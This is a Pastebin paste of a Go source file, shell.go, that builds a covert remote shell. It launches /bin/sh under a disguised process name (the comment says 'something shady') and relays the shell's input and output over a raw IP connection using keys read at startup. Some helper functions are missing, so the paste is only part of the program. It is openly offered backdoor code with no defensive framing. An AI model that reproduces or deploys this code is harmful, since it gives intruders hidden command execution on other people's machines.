Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- /*
- * shell.go
- * Hook up the network to a shell
- * By J. Stuart McMurray
- * Created 0160226
- * Last Modified 0160226
- */
- import (
- "bufio"
- "io"
- "log"
- "net"
- "os"
- "os/exec"
- "runtime"
- )
- func shell(c *net.IPConn, name string) {
- /* Get keys */
- skey, rkey := readShellKeys()
- for {
- /* Get a shell */
- shell, stdin, stdout, stderr := makeShell(name)
- /* Start the copies */
- ec := make(chan error, 4)
- go send(c, stdout, skey, ec)
- go send(c, stderr, skey, ec)
- go recv(stdin, c, rkey, ec)
- /* Start the shell */
- if err := shell.Start(); nil != err {
- log.Fatalf("Cannot start shell: %v", err)
- }
- log.Printf("Ready %v <-> %v", c.LocalAddr(), c.RemoteAddr())
- go func() {
- ec <- shell.Wait()
- }()
- /* Wait for something to happen */
- err := <-ec
- shell.Process.Kill()
- stdin.Close()
- stdout.Close()
- stderr.Close()
- if nil != err && io.EOF != err {
- log.Printf("Error: %v", err)
- } else {
- log.Printf("Done.")
- }
- }
- }
- /* makeShell makes a shell named n, and returns the shell and it's i/o. */
- func makeShell(n string) (
- shell *exec.Cmd,
- stdin io.WriteCloser,
- stdout io.ReadCloser,
- stderr io.ReadCloser,
- ) {
- if "windows" == runtime.GOOS {
- log.Fatalf("Windows is not supported. Please submit a patch.")
- }
- /* Make a shell */
- shell = exec.Command("/bin/sh")
- /* Set the binary as /bin/sh */
- shell.Path = "/bin/sh"
- /* Name it something shady */
- shell.Args = []string{n}
- /* Get i/o */
- stdin, stdout, stderr = pipes(shell)
- return
- }
- /* pipes gets the i/o pipes for c, or calls log.Fatalf if it can't */
- func pipes(cmd *exec.Cmd) (stdin io.WriteCloser, stdout, stderr io.ReadCloser) {
- var err error
- /* Get stdio */
- stdin, err = cmd.StdinPipe()
- if nil != err {
- log.Fatalf("Cannot get stdin: %v", err)
- }
- stdout, err = cmd.StdoutPipe()
- if nil != err {
- log.Fatalf("Cannot get stdout: %v", err)
- }
- stderr, err = cmd.StderrPipe()
- if nil != err {
- log.Fatalf("Cannot get stderr: %v", err)
- }
- return
- }
- /* readShellKeys gets two keys (send, receive) from stdin. */
- func readShellKeys() (skey, rkey [KEYLEN]byte) {
- r := bufio.NewReader(os.Stdin)
- skey = getKey(r)
- rkey = getKey(r)
- return
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement